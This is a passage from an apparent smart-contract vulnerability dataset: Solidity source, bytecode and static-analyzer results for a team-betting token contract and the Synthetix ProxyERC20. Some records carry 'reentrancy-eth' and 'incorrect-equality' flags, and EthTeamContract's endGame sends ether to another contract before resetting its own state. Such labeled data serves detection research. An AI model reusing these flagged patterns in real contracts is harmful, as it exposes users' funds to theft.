2082015250565b60006134ef602283612da5565b91506134fa82613493565b604082019050919050565b6000602082019050818103600083015261351e816134e2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613581602583612da5565b915061358c82613525565b604082019050919050565b600060208201905081810360008301526135b081613574565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613613602383612da5565b915061361e826135b7565b604082019050919050565b6000602082019050818103600083015261364281613606565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136a5602983612da5565b91506136b082613649565b604082019050919050565b600060208201905081810360008301526136d481613698565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613737603f83612da5565b9150613742826136db565b604082019050919050565b600060208201905081810360008301526137668161372a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137a3601c83612da5565b91506137ae8261376d565b602082019050919050565b600060208201905081810360008301526137d281613796565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613835602383612da5565b9150613840826137d9565b604082019050919050565b6000602082019050818103600083015261386481613828565b9050919050565b600061387682612e44565b915061388183612e44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138b6576138b56132f8565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b600061391d602383612da5565b9150613928826138c1565b604082019050919050565b6000602082019050818103600083015261394c81613910565b9050919050565b600061395e82612e44565b915061396983612e44565b92508282101561397c5761397b6132f8565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139e3602a83612da5565b91506139ee82613987565b604082019050919050565b60006020820190508181036000830152613a12816139d6565b9050919050565b600081519050613a2881612c8e565b92915050565b600060208284031215613a4457613a43612b90565b5b6000613a5284828501613a19565b91505092915050565b6000819050919050565b6000613a80613a7b613a7684613a5b565b612ef0565b612e44565b9050919050565b613a9081613a65565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613acb81612c7c565b82525050565b6000613add8383613ac2565b60208301905092915050565b6000602082019050919050565b6000613b0182613a96565b613b0b8185613aa1565b9350613b1683613ab2565b8060005b83811015613b47578151613b2e8882613ad1565b9750613b3983613ae9565b925050600181019050613b1a565b5085935050505092915050565b600060a082019050613b696000830188612f6a565b613b766020830187613a87565b8181036040830152613b888186613af6565b9050613b97606083018561301e565b613ba46080830184612f6a565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613be882612e44565b9150613bf383612e44565b925082613c0357613c02613bae565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c44601b83612da5565b9150613c4f82613c0e565b602082019050919050565b60006020820190508181036000830152613c7381613c37565b9050919050565b6000613c8582612e44565b9150613c9083612e44565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cc957613cc86132f8565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d30602183612da5565b9150613d3b82613cd4565b604082019050919050565b60006020820190508181036000830152613d5f81613d23565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207a8daf85010179daf9ee18093732fac0d4f8b1c908968cf0bd973bb27e0483fa64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
9,524
0x0ffb3f4605dd9f01de1a06052b7687418a9d82ee
pragma solidity ^0.4.21; /** * @title SafeMath * @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/ownership/Ownable.sol * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title StandardToken * @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/StandardToken.sol * @dev Standard ERC20 token */ contract StandardToken { using SafeMath for uint256; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) internal balances_; mapping(address => mapping(address => uint256)) internal allowed_; uint256 internal totalSupply_; string public name; string public symbol; uint8 public decimals; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances_[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed_ to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed_[_owner][_spender]; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[msg.sender]); balances_[msg.sender] = balances_[msg.sender].sub(_value); balances_[_to] = balances_[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[_from]); require(_value <= allowed_[_from][msg.sender]); balances_[_from] = balances_[_from].sub(_value); balances_[_to] = balances_[_to].add(_value); allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed_[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } } /** * @title EthTeamContract * @dev The team token. One token represents a team. EthTeamContract is also a ERC20 standard token. */ contract EthTeamContract is StandardToken, Ownable { event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue); event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue); event BeginGame(address indexed team1, address indexed team2, uint64 gameTime); event EndGame(address indexed team1, address indexed team2, uint8 gameResult); event ChangeStatus(address indexed team, uint8 status); /** * @dev Token price based on ETH */ uint256 public price; /** * @dev status=0 buyable & sellable, user can buy or sell the token. * status=1 not buyable & not sellable, user cannot buy or sell the token. */ uint8 public status; /** * @dev The game start time. gameTime=0 means game time is not enabled or not started. */ uint64 public gameTime; /** * @dev If the time is older than FinishTime (usually one month after game). * The owner has permission to transfer the balance to the feeOwner. * The user can get back the balance using the website after this time. */ uint64 public finishTime; /** * @dev The fee owner. The fee will send to this address. */ address public feeOwner; /** * @dev Game opponent, gameOpponent is also a EthTeamContract. */ address public gameOpponent; /** * @dev Team name and team symbol will be ERC20 token name and symbol. Token decimals will be 3. * Token total supply will be 0. The initial price will be 1 szabo (1000000000000 Wei) */ function EthTeamContract( string _teamName, string _teamSymbol, address _gameOpponent, uint64 _gameTime, uint64 _finishTime, address _feeOwner ) public { name = _teamName; symbol = _teamSymbol; decimals = 3; totalSupply_ = 0; price = 1 szabo; gameOpponent = _gameOpponent; gameTime = _gameTime; finishTime = _finishTime; feeOwner = _feeOwner; owner = msg.sender; } /** * @dev Sell Or Transfer the token. * * Override ERC20 transfer token function. If the _to address is not this EthTeamContract, * then call the super transfer function, which will be ERC20 token transfer. * Otherwise, the user want to sell the token (EthTeamContract -> ETH). * @param _to address The address which you want to transfer/sell to * @param _value uint256 the amount of tokens to be transferred/sold */ function transfer(address _to, uint256 _value) public returns (bool) { if (_to != address(this)) { return super.transfer(_to, _value); } require(_value <= balances_[msg.sender] && status == 0); // If gameTime is enabled (larger than 1514764800 (2018-01-01)) if (gameTime > 1514764800) { // We will not allowed to sell after 5 minutes (300 seconds) before game start require(gameTime - 300 > block.timestamp); } balances_[msg.sender] = balances_[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); uint256 weiAmount = price.mul(_value); msg.sender.transfer(weiAmount); emit Transfer(msg.sender, _to, _value); emit Sell(_to, msg.sender, _value, weiAmount); return true; } /** * @dev Buy token using ETH * User send ETH to this EthTeamContract, then his token balance will be increased based on price. * The total supply will also be increased. */ function() payable public { require(status == 0 && price > 0); // If gameTime is enabled (larger than 1514764800 (2018-01-01)) if (gameTime > 1514764800) { // We will not allowed to sell after 5 minutes (300 seconds) before game start require(gameTime - 300 > block.timestamp); } uint256 amount = msg.value.div(price); balances_[msg.sender] = balances_[msg.sender].add(amount); totalSupply_ = totalSupply_.add(amount); emit Transfer(address(this), msg.sender, amount); emit Buy(address(this), msg.sender, amount, msg.value); } /** * @dev The the game status. * * status = 0 buyable & sellable, user can buy or sell the token. * status=1 not buyable & not sellable, user cannot buy or sell the token. * @param _status The game status. */ function changeStatus(uint8 _status) onlyOwner public { require(status != _status); status = _status; emit ChangeStatus(address(this), _status); } /** * @dev Finish the game * * If the time is older than FinishTime (usually one month after game). * The owner has permission to transfer the balance to the feeOwner. * The user can get back the balance using the website after this time. */ function finish() onlyOwner public { require(block.timestamp >= finishTime); feeOwner.transfer(address(this).balance); } /** * @dev Start the game * * Start a new game. Initialize game opponent, game time and status. * @param _gameOpponent The game opponent contract address * @param _gameTime The game begin time. optional */ function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public { require(_gameOpponent != address(0) && _gameOpponent != address(this) && gameOpponent == address(0)); // 1514764800 = 2018-01-01 require(_gameTime == 0 || (_gameTime > 1514764800)); gameOpponent = _gameOpponent; gameTime = _gameTime; status = 0; emit BeginGame(address(this), _gameOpponent, _gameTime); } /** * @dev End the game with game final result. * * The function only allow to be called with the lose team or the draw team with large balance. * We have this rule because the lose team or draw team will large balance need transfer balance to opposite side. * This function will also change status of opposite team by calling transferFundAndEndGame function. * So the function only need to be called one time for the home and away team. * The new price will be recalculated based on the new balance and total supply. * * Balance transfer rule: * 1. The rose team will transfer all balance to opposite side. * 2. If the game is draw, the balances of two team will go fifty-fifty. * 3. If game is canceled, the balance is not touched and the game states will be reset to initial states. * 4. The fee will be 5% of each transfer amount. * @param _gameOpponent The game opponent contract address * @param _gameResult game result. 1=lose, 2=draw, 3=cancel, 4=win (not allow) */ function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public { require(gameOpponent != address(0) && gameOpponent == _gameOpponent); uint256 amount = address(this).balance; uint256 opAmount = gameOpponent.balance; require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3); EthTeamContract op = EthTeamContract(gameOpponent); if (_gameResult == 1) { // Lose if (amount > 0 && totalSupply_ > 0) { uint256 lostAmount = amount; // If opponent has supply if (op.totalSupply() > 0) { // fee is 5% uint256 feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { // If opponent has not supply, then send the lose money to fee owner. feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else { op.transferFundAndEndGame(); } } else if (_gameResult == 2) { // Draw if (amount > opAmount) { lostAmount = amount.sub(opAmount).div(2); if (op.totalSupply() > 0) { // fee is 5% feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else if (amount == opAmount) { op.transferFundAndEndGame(); } else { // should not happen revert(); } } else if (_gameResult == 3) { //canceled op.transferFundAndEndGame(); } else { // should not happen revert(); } endGameInternal(); if (totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } emit EndGame(address(this), _gameOpponent, _gameResult); } /** * @dev Reset team token states * */ function endGameInternal() private { gameOpponent = address(0); gameTime = 0; status = 0; } /** * @dev Reset team states and recalculate the price. * * This function will be called by opponent team token after end game. * It accepts the ETH transfer and recalculate the new price based on * new balance and total supply. */ function transferFundAndEndGame() payable public { require(gameOpponent != address(0) && gameOpponent == msg.sender); if (msg.value > 0 && totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } endGameInternal(); } }
0x60806040526004361061010d5763ffffffff60e060020a600035041662203116811461026b57806306fdde0314610294578063095ea7b31461031e57806318160ddd14610356578063200d2ed21461037d57806323b872dd146103a8578063313ce567146103d25780635958611e146103e757806370a08231146104195780638da5cb5b1461043a57806395bc95381461046b57806395d89b411461048657806397b817c91461049b578063a035b1fe146104c9578063a5d1c0c0146104de578063a9059cbb146104f3578063b9818be114610517578063c8a5e6d71461052c578063d56b288914610534578063dd62ed3e14610549578063f2fde38b14610570578063fef8383e14610591575b60075460009060ff1615801561012557506000600654115b151561013057600080fd5b600754635a497a0061010090910467ffffffffffffffff161115610174576007544261010090910467ffffffffffffffff90811661012b1901161161017457600080fd5b60065461018890349063ffffffff6105a616565b600160a060020a0333166000908152602081905260409020549091506101b4908263ffffffff6105bb16565b600160a060020a0333166000908152602081905260409020556002546101e0908263ffffffff6105bb16565b600255604080518281529051600160a060020a033381169230909116916000805160206114818339815191529181900360200190a333600160a060020a031630600160a060020a03167f89f5adc174562e07c9c9b1cae7109bbecb21cf9d1b2847e550042b8653c54a0e8334604051808381526020018281526020019250505060405180910390a350005b34801561027757600080fd5b50610292600160a060020a036004351660ff602435166105d5565b005b3480156102a057600080fd5b506102a9610a65565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102e35781810151838201526020016102cb565b50505050905090810190601f1680156103105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032a57600080fd5b50610342600160a060020a0360043516602435610af3565b604080519115158252519081900360200190f35b34801561036257600080fd5b5061036b610b5d565b60408051918252519081900360200190f35b34801561038957600080fd5b50610392610b63565b6040805160ff9092168252519081900360200190f35b3480156103b457600080fd5b50610342600160a060020a0360043581169060243516604435610b6c565b3480156103de57600080fd5b50610392610cda565b3480156103f357600080fd5b506103fc610ce3565b6040805167ffffffffffffffff9092168252519081900360200190f35b34801561042557600080fd5b5061036b600160a060020a0360043516610d00565b34801561044657600080fd5b5061044f610d1b565b60408051600160a060020a039092168252519081900360200190f35b34801561047757600080fd5b5061029260ff60043516610d2f565b34801561049257600080fd5b506102a9610db8565b3480156104a757600080fd5b50610292600160a060020a036004351667ffffffffffffffff60243516610e13565b3480156104d557600080fd5b5061036b610f40565b3480156104ea57600080fd5b506103fc610f46565b3480156104ff57600080fd5b50610342600160a060020a0360043516602435610f5b565b34801561052357600080fd5b5061044f61113f565b61029261114e565b34801561054057600080fd5b506102926111c4565b34801561055557600080fd5b5061036b600160a060020a0360043581169060243516611248565b34801561057c57600080fd5b50610292600160a060020a0360043516611273565b34801561059d57600080fd5b5061044f61131c565b600081838115156105b357fe5b049392505050565b6000828201838110156105ca57fe5b8091505b5092915050565b600554600090819081908190819033600160a060020a03908116610100909204161461060057600080fd5b600954600160a060020a0316158015906106275750600954600160a060020a038881169116145b151561063257600080fd5b600954600160a060020a033081163196501631935060ff86166001148061066757508560ff1660021480156106675750838510155b8061067557508560ff166003145b151561068057600080fd5b600954600160a060020a0316925060ff8616600114156108d4576000851180156106ac57506000600254115b1561087857849150600083600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156106f457600080fd5b505af1158015610708573d6000803e3d6000fd5b505050506040513d602081101561071e57600080fd5b505111156107e15761073782601463ffffffff6105a616565b9050610749828263ffffffff61132b16565b600854604051919350600160a060020a03169082156108fc029083906000818181858888f19350505050158015610784573d6000803e3d6000fd5b5082600160a060020a031663c8a5e6d7836040518263ffffffff1660e060020a0281526004016000604051808303818588803b1580156107c357600080fd5b505af11580156107d7573d6000803e3d6000fd5b5050505050610873565b600854604051600160a060020a039091169083156108fc029084906000818181858888f1935050505015801561081b573d6000803e3d6000fd5b5082600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561085a57600080fd5b505af115801561086e573d6000803e3d6000fd5b505050505b6108cf565b82600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b1580156108b657600080fd5b505af11580156108ca573d6000803e3d6000fd5b505050505b6109e0565b8560ff1660021415610996578385111561094b5761090960026108fd878763ffffffff61132b16565b9063ffffffff6105a616565b9150600083600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156106f457600080fd5b838514156109915782600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561085a57600080fd5b600080fd5b8560ff16600314156109915782600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b1580156108b657600080fd5b6109e861133d565b60006002541115610a1557600254610a1190600160a060020a033016319063ffffffff6105a616565b6006555b6040805160ff881681529051600160a060020a03808a169230909116917fca877aac494c1a237a54e53d1cf34403a485633cd56280f38c182df72936526f9181900360200190a350505050505050565b6003805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610aeb5780601f10610ac057610100808354040283529160200191610aeb565b820191906000526020600020905b815481529060010190602001808311610ace57829003601f168201915b505050505081565b600160a060020a03338116600081815260016020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b60075460ff1681565b6000600160a060020a0383161515610b8357600080fd5b600160a060020a038416600090815260208190526040902054821115610ba857600080fd5b600160a060020a0380851660009081526001602090815260408083203390941683529290522054821115610bdb57600080fd5b600160a060020a038416600090815260208190526040902054610c04908363ffffffff61132b16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610c39908363ffffffff6105bb16565b600160a060020a0380851660009081526020818152604080832094909455878316825260018152838220339093168252919091522054610c7f908363ffffffff61132b16565b600160a060020a03808616600081815260016020908152604080832033861684528252918290209490945580518681529051928716939192600080516020611481833981519152929181900390910190a35060019392505050565b60055460ff1681565b6007546901000000000000000000900467ffffffffffffffff1681565b600160a060020a031660009081526020819052604090205490565b6005546101009004600160a060020a031681565b60055433600160a060020a039081166101009092041614610d4f57600080fd5b60075460ff82811691161415610d6457600080fd5b6007805460ff831660ff1990911681179091556040805191825251600160a060020a033016917fb82ce22096c6500c582b45cfbf153014e62fd0cbcccaf9a68dc6bfbd53d875d3919081900360200190a250565b6004805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610aeb5780601f10610ac057610100808354040283529160200191610aeb565b60055433600160a060020a039081166101009092041614610e3357600080fd5b600160a060020a03821615801590610e5d575030600160a060020a031682600160a060020a031614155b8015610e725750600954600160a060020a0316155b1515610e7d57600080fd5b67ffffffffffffffff81161580610ea15750635a497a008167ffffffffffffffff16115b1515610eac57600080fd5b6009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038481169182179092556007805468ffffffffffffffff00191661010067ffffffffffffffff86169081029190911760ff1916909155604080519182525191923016917f1892465d280bc871343cfbf3c63bbbc2bee69afc8d669e83d7e94e54d74c8933916020908290030190a35050565b60065481565b600754610100900467ffffffffffffffff1681565b60008030600160a060020a031684600160a060020a0316141515610f8a57610f83848461136e565b91506105ce565b600160a060020a0333166000908152602081905260409020548311801590610fb5575060075460ff16155b1515610fc057600080fd5b600754635a497a0061010090910467ffffffffffffffff161115611004576007544261010090910467ffffffffffffffff90811661012b1901161161100457600080fd5b600160a060020a03331660009081526020819052604090205461102d908463ffffffff61132b16565b600160a060020a033316600090815260208190526040902055600254611059908463ffffffff61132b16565b60025560065461106f908463ffffffff61145516565b604051909150600160a060020a0333169082156108fc029083906000818181858888f193505050501580156110a8573d6000803e3d6000fd5b5083600160a060020a031633600160a060020a0316600080516020611481833981519152856040518082815260200191505060405180910390a333600160a060020a031684600160a060020a03167fa082022e93cfcd9f1da5f9236718053910f7e840da080c789c7845698dc032ff8584604051808381526020018281526020019250505060405180910390a35060019392505050565b600854600160a060020a031681565b600954600160a060020a031615801590611176575060095433600160a060020a039081169116145b151561118157600080fd5b60003411801561119357506000600254115b156111ba576002546111b690600160a060020a033016319063ffffffff6105a616565b6006555b6111c261133d565b565b60055433600160a060020a0390811661010090920416146111e457600080fd5b6007546901000000000000000000900467ffffffffffffffff1642101561120a57600080fd5b600854604051600160a060020a039182169130163180156108fc02916000818181858888f19350505050158015611245573d6000803e3d6000fd5b50565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b60055433600160a060020a03908116610100909204161461129357600080fd5b600160a060020a03811615156112a857600080fd5b600554604051600160a060020a0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360058054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600954600160a060020a031681565b60008282111561133757fe5b50900390565b6009805473ffffffffffffffffffffffffffffffffffffffff191690556007805468ffffffffffffffffff19169055565b6000600160a060020a038316151561138557600080fd5b600160a060020a0333166000908152602081905260409020548211156113aa57600080fd5b600160a060020a0333166000908152602081905260409020546113d3908363ffffffff61132b16565b600160a060020a033381166000908152602081905260408082209390935590851681522054611408908363ffffffff6105bb16565b600160a060020a038085166000818152602081815260409182902094909455805186815290519193339093169260008051602061148183398151915292918290030190a350600192915050565b60008083151561146857600091506105ce565b5082820282848281151561147857fe5b04146105ca57fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820276a7ba3add3f38b63abfa94c7cdd46cd5a96ec23fafad7ecd03d398651eb6de0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
9,525
0xc4B2cDa02549B97f5c879350b1213AFd4D449623
/* Note: This is a PROXY contract, it defers requests to its underlying TARGET contract. Always use this address in your applications and never the TARGET as it is liable to change. *//* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: ProxyERC20.sol * * Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/ProxyERC20.sol * Docs: https://docs.synthetix.io/contracts/ProxyERC20 * * Contract Dependencies: * - IERC20 * - Owned * - Proxy * Libraries: (none) * * MIT License * =========== * * Copyright (c) 2021 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.16; // https://docs.synthetix.io/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/proxyable contract Proxyable is Owned { // This contract should be treated like an abstract contract /* The proxy this contract exists behind. */ Proxy public proxy; Proxy public integrationProxy; /* The caller of the proxy, passed through to this contract. * Note that every function using this member must apply the onlyProxy or * optionalProxy modifiers, otherwise their invocations can use stale values. */ address public messageSender; constructor(address payable _proxy) internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address payable _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setIntegrationProxy(address payable _integrationProxy) external onlyOwner { integrationProxy = Proxy(_integrationProxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { _onlyProxy(); _; } function _onlyProxy() private view { require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call"); } modifier optionalProxy { _optionalProxy(); _; } function _optionalProxy() private { if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) { messageSender = msg.sender; } } modifier optionalProxy_onlyOwner { _optionalProxy_onlyOwner(); _; } // solhint-disable-next-line func-name-mixedcase function _optionalProxy_onlyOwner() private { if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) { messageSender = msg.sender; } require(messageSender == owner, "Owner only function"); } event ProxyUpdated(address proxyAddress); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/proxy contract Proxy is Owned { Proxyable public target; constructor(address _owner) public Owned(_owner) {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function _emit( bytes calldata callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4 ) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { /* The first 32 bytes of callData contain its length (as specified by the abi). * Length is assumed to be a uint256 and therefore maximum of 32 bytes * in length. It is also leftpadded to be a multiple of 32 bytes. * This means moving call_data across 32 bytes guarantees we correctly access * the data itself. */ switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } // solhint-disable no-complex-fallback function() external payable { // Mutable call setting Proxyable.messageSender as this is using call not delegatecall target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) /* We must explicitly forward ether to the underlying contract as well. */ let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } // https://docs.synthetix.io/contracts/source/interfaces/ierc20 interface IERC20 { // ERC20 Optional Views function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); // Views function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); // Mutative functions function transfer(address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); function transferFrom( address from, address to, uint value ) external returns (bool); // Events event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } // Inheritance // https://docs.synthetix.io/contracts/source/contracts/proxyerc20 contract ProxyERC20 is Proxy, IERC20 { 